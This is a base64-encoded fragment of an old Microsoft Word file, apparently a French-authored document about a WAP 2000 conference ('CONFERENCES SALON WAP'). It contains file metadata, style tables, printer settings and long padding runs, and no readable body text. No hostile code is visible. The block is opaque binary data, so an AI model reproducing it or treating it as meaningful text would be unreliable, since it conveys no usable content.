AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASABMACgABAFsADwACAAAAAAAAADQA
AEDx/wIANAAAAAYATgBvAHIAbQBhAGwAAAACAAAAFABDShgAT0oDAFFKAwBrSOQEbUgMBCwAAQAB
AAIALAAAAAcAVABpAHQAcgBlACAAMQAAAAgAAQADJAMGJAEDADUIgQAuAAIAAQACAC4AAAAHAFQA
aQB0AHIAZQAgADIAAAAFAAIABiQBAAcANQiBQ0ocAAAqAAMAAQACACoAAAAHAFQAaQB0AHIAZQAg
ADMAAAAFAAMABiQBAAMANQiBAAAAAAAAAAAAAAAAADIAQUDy/6EAMgAAABEAUABvAGwAaQBjAGUA
IABwAGEAcgAgAGQA6QBmAGEAdQB0AAAAAAAAAAAAAAAAACoAPkABAPIAKgAAAAUAVABpAHQAcgBl
AAAABQAPAAMkAQAHADUIgUNKHAAANABCQAEAAgE0AAAADgBDAG8AcgBwAHMAIABkAGUAIAB0AGUA
eAB0AGUAAAACABAABABDShwAMgD+TwEAEgEyAAAACwBCAG8AZAB5ACAAVABlAHgAdAAgADIAAAAF
ABEAAyQDAAQAQ0ocADAA/g8BACIBMAAAAAwARABvAGMAdQBtAGUAbgB0ACAATQBhAHAAAAAGABIA
LUQgAQAAAAAAAO8LAAAEAAAoAAAAAP////8ABAAA7w8AAA8AAAAABAAAcAgAAFsNAADvDwAAEAAA
ABIAAAATAAAAAAQAAO8PAAARAAAAAAAAAIQBAACHAQAAGAYAACQGAADxCwAABwAcAAcAHAAHAAAA
AAAOAAAAEwAAACUAAAAmAAAALgAAADIAAAA3AAAATwAAAN0AAADkAAAAGAEAABoBAAAxAQAAMgEA
AHMBAACEAQAAkwEAAJQBAAB9AgAAfgIAAH8CAACPAgAAmwIAAJsCAABHAwAASwMAAFEDAABoAwAA
cAQAAIAEAAA4BQAAPgUAAF0FAAB4BQAAegUAAIoFAADDBQAAxgUAAOkFAADqBQAA8gUAAPYFAAD8
BQAAFAYAAMgGAADIBgAARwcAAFcHAABQCAAAYAgAABEJAAATCQAAFwkAABsJAAAhCQAAOQkAALsJ
AAC/CQAABAoAABQKAAAeCwAALgsAAO0LAADuCwAA8QsAAAcABAAHAAQABwAEAAcABAAHAAQABwAE
AAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQA
BwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwD//xQAAAAD
AEMAVABNADgAQwA6AFwATQBlAHMAIABEAG8AYwB1AG0AZQBuAHQAcwBcAFcAQQBQACAAMgAwADAA
MABcAFcAQQBQAEMATwBOAFYARQBOAFQASQBPAE4AIABFAG4AZwBsAGkAcwBoACAAVAByAGEAZAAu
AGQAbwBjAAMAQwBUAE0ASwBDADoAXABXAEkATgBEAE8AVwBTAFwAVABFAE0AUABcAEUAbgByAGUA
ZwBpAHMAdAByAGUAbQBlAG4AdAAgAGEAdQB0AG8AbQBhAHQAaQBxAHUAZQAgAGQAZQBXAEEAUABD
AE8ATgBWAEUATgBUAEkATwBOACAARQBuAGcAbABpAHMAaAAgAFQAcgBhAGQALgBhAHMAZAADAEMA
VABNADgAQwA6AFwATQBlAHMAIABEAG8AYwB1AG0AZQBuAHQAcwBcAFcAQQBQACAAMgAwADAAMABc
AFcAQQBQAEMATwBOAFYARQBOAFQASQBPAE4AIABFAG4AZwBsAGkAcwBoACAAVAByAGEAZAAuAGQA
bwBjAAMAQwBUAE0AOABDADoAXABNAGUAcwAgAEQAbwBjAHUAbQBlAG4AdABzAFwAVwBBAFAAIAAy
ADAAMAAwAFwAVwBBAFAAQwBPAE4AVgBFAE4AVABJAE8ATgAgAEUAbgBnAGwAaQBzAGgAIABUAHIA
YQBkAC4AZABvAGMAAwBDAFQATQBLAEMAOgBcAFcASQBOAEQATwBXAFMAXABUAEUATQBQAFwARQBu
AHIAZQBnAGkAcwB0AHIAZQBtAGUAbgB0ACAAYQB1AHQAbwBtAGEAdABpAHEAdQBlACAAZABlAFcA
QQBQAEMATwBOAFYARQBOAFQASQBPAE4AIABFAG4AZwBsAGkAcwBoACAAVAByAGEAZAAuAGEAcwBk
AAMAQwBUAE0AOABDADoAXABNAGUAcwAgAEQAbwBjAHUAbQBlAG4AdABzAFwAVwBBAFAAIAAyADAA
MAAwAFwAVwBBAFAAQwBPAE4AVgBFAE4AVABJAE8ATgAgAEUAbgBnAGwAaQBzAGgAIABUAHIAYQBk
AC4AZABvAGMAAwBDAFQATQBLAEMAOgBcAFcASQBOAEQATwBXAFMAXABUAEUATQBQAFwARQBuAHIA
ZQBnAGkAcwB0AHIAZQBtAGUAbgB0ACAAYQB1AHQAbwBtAGEAdABpAHEAdQBlACAAZABlAFcAQQBQ
AEMATwBOAFYARQBOAFQASQBPAE4AIABFAG4AZwBsAGkAcwBoACAAVAByAGEAZAAuAGEAcwBkAAMA
QwBUAE0ASwBDADoAXABXAEkATgBEAE8AVwBTAFwAVABFAE0AUABcAEUAbgByAGUAZwBpAHMAdABy
AGUAbQBlAG4AdAAgAGEAdQB0AG8AbQBhAHQAaQBxAHUAZQAgAGQAZQBXAEEAUABDAE8ATgBWAEUA
TgBUAEkATwBOACAARQBuAGcAbABpAHMAaAAgAFQAcgBhAGQALgBhAHMAZAADAEMAVABNAEsAQwA6
AFwAVwBJAE4ARABPAFcAUwBcAFQARQBNAFAAXABFAG4AcgBlAGcAaQBzAHQAcgBlAG0AZQBuAHQA
IABhAHUAdABvAG0AYQB0AGkAcQB1AGUAIABkAGUAVwBBAFAAQwBPAE4AVgBFAE4AVABJAE8ATgAg
AEUAbgBnAGwAaQBzAGgAIABUAHIAYQBkAC4AYQBzAGQAAwBDAFQATQA+AEMAOgBcAE0AZQBzACAA
RABvAGMAdQBtAGUAbgB0AHMAXABXAEEAUAAgADIAMAAwADAAXABXAEEAUAAgAEMATwBOAFYARQBO
AFQASQBPAE4AIABDAG8AbgBmAGUAcgBlAG4AYwBlACAAVABoAGUAbQBlAHMALgBkAG8AYwD/QEVQ
U09OIFN0eWx1cyBDT0xPUiA5MDAATFBUMToARVBJSk5MMjAARVBTT04gU3R5bHVzIENPTE9SIDkw
MABFUFNPTiBTdHlsdXMgQ09MT1IgOTAwAAAAAAAAAAAAAAAEJwKUACYBD4uABwEACQCaCzQIAAAB
AAcAaAECAAAAaAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAQAAAAIAAAABAAAAIAEAAAAAAAAAAAAARExMTmFtZTE2PUVQSUdVRTNWLkRM
TAAAAAAAAAAAAABETExOYW1lMzI9RVBJREEyMzAuRExMAAAAAAAAAAAAAEVQU09OIFN0eWx1cyBD
T0xPUiA5MDAAAAAAAAAAAAAAAAMCAGgBaAEBAAAAAAAAAAABAAAJAEwLgQ9MC4EPZABoAWgBoAtx
ECoAKgAqAMYAoAtxECoAKgAqAMYAAAAAABQAAAAAAAAAAAAyAAAA/wAAAAAAAAAAAAAAAAABAAAA
AAADAAAAAQAAAAAAAQAEAAYAAgAAAAAAAAACAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA0CJoLAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARVBTT04gU3R5bHVz
IENPTE9SIDkwMAAAAAAAAAAAAAAABCcClAAmAQ+LgAcBAAkAmgs0CAAAAQAHAGgBAgAAAGgBAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEA
AAACAAAAAQAAACABAAAAAAAAAAAAAERMTE5hbWUxNj1FUElHVUUzVi5ETEwAAAAAAAAAAAAARExM
TmFtZTMyPUVQSURBMjMwLkRMTAAAAAAAAAAAAABFUFNPTiBTdHlsdXMgQ09MT1IgOTAwAAAAAAAA
AAAAAAADAgBoAWgBAQAAAAAAAAAAAQAACQBMC4EPTAuBD2QAaAFoAaALcRAqACoAKgDGAKALcRAq
ACoAKgDGAAAAAAAUAAAAAAAAAAAAMgAAAP8AAAAAAAAAAAAAAAAAAQAAAAAAAwAAAAEAAAAAAAEA
BAAGAAIAAAAAAAAAAgAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAia
CwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAQCxCwAAsQsAAOz01QCMAIwAsQsAAAAA
AACxCwAAAAAAAAIQAAAAAAAAAO8LAABAAAAIAEAAAAQAAABHFpABAAACAgYDBQQFAgMEAwAAAAAA
AAAAAAAAAAAAAAEAAAAAAAAAVABpAG0AZQBzACAATgBlAHcAIABSAG8AbQBhAG4AAAA1FpABAgAF
BQECAQcGAgUHAAAAAAAAABAAAAAAAAAAAAAAAIAAAAAAUwB5AG0AYgBvAGwAAAAzJpABAAACCwYE
AgICAgIEAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAQQByAGkAYQBsAAAANxKQAQAAAAAAAAAAAAAA
AAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAFQAbQBzACAAUgBtAG4AAAAiAAQAQQCIGAAAxAIAAKkB
AAAAAC6cRiZUtEaG43JGRg4AMgAAALkBAADXCQAAAQAFAAAABACDEBQAAAAAAAAAAAAAAAEAAQAA
AAEAAAAAAAAA0SIAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApQbAB7QAtACAABIwAAAQ
ABkAZAAAABkAAAAVDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAP//EgAAAAAAAAAVAEMATwBOAEYARQBSAEUATgBD
AEUAUwAgAFMAQQBMAE8ATgAgAFcAQQBQAAAAAAAAAAgAUABUAE8ATABFAE0ARQBFAAMAQwBUAE0A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABAACAAAAAAAAAAAAAAAAAAAAAAABAAAA4IWf
8vlPaBCrkQgAKyez2TAAAACMAQAAEgAAAAEAAACYAAAAAgAAAKAAAAADAAAAwAAAAAQAAADMAAAA
BQAAAOAAAAAGAAAA7AAAAAcAAAD4AAAACAAAAAgBAAAJAAAAFAEAABIAAAAgAQAACgAAADwBAAAL
AAAASAEAAAwAAABUAQAADQAAAGABAAAOAAAAbAEAAA8AAAB0AQAAEAAAAHwBAAATAAAAhAEAAAIA
AADkBAAAHgAAABYAAABDT05GRVJFTkNFUyBTQUxPTiBXQVAAOAAeAAAAAQAAAABPTkYeAAAACQAA
AFBUT0xFTUVFAEVTIB4AAAABAAAAAFRPTB4AAAABAAAAAFRPTB4AAAAHAAAATm9ybWFsAEUeAAAA
BAAAAENUTQAeAAAAAwAAADE0AAAeAAAAEwAAAE1pY3Jvc29mdCBXb3JkIDguMABBQAAAAACsI/wG
AAAAQAAAAAA6MM/j1b8BQAAAAAAEexX92b8BQAAAAACQp1Rd3L8BAwAAAAEAAAADAAAAuQEAAAMA
AADXCQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA/v8AAAQAAgAAAAAAAAAAAAAAAAAAAAAAAgAAAALVzdWcLhsQk5cI
ACss+a5EAAAABdXN1ZwuGxCTlwgAKyz5rkgBAAAEAQAADAAAAAEAAABoAAAADwAAAHAAAAAFAAAA
hAAAAAYAAACMAAAAEQAAAJQAAAAXAAAAnAAAAAsAAACkAAAAEAAAAKwAAAATAAAAtAAAABYAAAC8
AAAADQAAAMQAAAAMAAAA5gAAAAIAAADkBAAAHgAAAAkAAABQVE9MRU1FRQAARQADAAAAFAAAAAMA
AAAFAAAAAwAAABUMAAADAAAAahAIAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAA
AAEAAAAWAAAAQ09ORkVSRU5DRVMgU0FMT04gV0FQAAwQAAACAAAAHgAAAAYAAABUaXRyZQADAAAA
AQAAAJgAAAADAAAAAAAAACAAAAABAAAANgAAAAIAAAA+AAAAAQAAAAIAAAAKAAAAX1BJRF9HVUlE
AAIAAADkBAAAQQAAAE4AAAB7ADcAQgBFADIAQQA4AEUAMAAtADQAMwA5AEYALQAxADEARAA0AC0A
OABFADAAMAAtADAAMAA1ADAAMAA0ADkAMwA5ADIAMwBGAH0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
